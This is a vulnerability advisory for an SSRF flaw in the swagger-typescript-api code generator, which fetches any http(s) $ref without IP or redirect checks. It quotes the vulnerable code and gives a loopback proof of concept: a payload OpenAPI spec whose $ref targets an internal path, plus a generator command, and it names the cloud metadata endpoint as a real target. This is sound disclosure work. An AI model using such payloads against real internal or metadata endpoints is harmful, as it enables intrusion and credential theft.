CVE-2026-54663

swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?://, there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.

The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).

Details

SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:

// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
  if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
    return;
  }
  const visited = new Set<string>();
  const queue = [this.stripHash(this.config.url)];

  while (queue.length > 0) {
    const currentUrl = queue.shift();
    if (!currentUrl || visited.has(currentUrl)) continue;
    visited.add(currentUrl);

    if (this.externalSchemaCache.has(currentUrl)) continue;
    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // <-- HTTP GET
    if (!schema) continue;
    this.externalSchemaCache.set(currentUrl, schema);

    for (const ref of this.extractRefsFromSchema(schema)) {
      const normalizedRef = this.normalizeRef(ref);
      if (normalizedRef.startsWith("#")) continue;

      const [externalPath = ""] = normalizedRef.split("#");
      if (!externalPath) continue;

      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
      if (absoluteUrl && !visited.has(absoluteUrl)) {
        queue.push(absoluteUrl);                                       // <-- recurse
      }
    }
  }
}

The fetch itself:

// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…and the only URL-shape filter:

// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
  return /^https?:\/\//i.test(value);
}

There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.

Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds, even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).

PoC

Self-contained reproducer in comments (install [email protected] into a local node_modules, spin up two loopback HTTP servers, one serving the spec, one pretending to be an "internal" service, run the generator against each, observe the internal server's hit count). Tested on [email protected] and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "SSRF-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install [email protected]
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  httpClientType: 'fetch'
}))"

Observed (control vs payload):

[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:<internal-port>

The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process, typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.

Submitted by: Hamza Haroon (thegr1ffyn)